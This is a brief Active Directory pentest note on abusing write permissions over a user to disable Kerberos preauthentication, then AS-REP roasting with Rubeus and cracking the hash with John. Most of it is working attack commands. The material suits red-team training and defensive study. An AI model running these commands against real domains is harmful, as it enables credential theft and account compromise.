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# Enable AS-REP vulnerability via ACL
Active Directory security notes for Enable AS-REP vulnerability via ACL, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
### Principle
In some cases, a user does not have the `Do not require Kerberos preauthentication` option.
But if we have write rights on this user, for example:
```bash
GenericAll
GenericWrite
WriteAllProperties
```
we can modify its attribute `userAccountControl`.
### Example with `astrid.niki`
The user `user1` has write permission on:
```bash
astrid.niki
```
We then activate the `DONT_REQ_PREAUTH` option with PowerView:
{% code overflow="wrap" %}
```powershell
Set-DomainObject -Identity astrid.niki -XOR @{useraccountcontrol=4194304}
```
{% endcode %}
### Restart AS-REP Roasting
After modification, the user appears in the results:
{% code overflow="wrap" %}
```powershell
.\Rubeus.exe asreproast /format:john /outfile:hash.john
```
{% endcode %}
Then we crack the hash:
{% code overflow="wrap" %}
```bash
john hash
```
{% endcode %}
---
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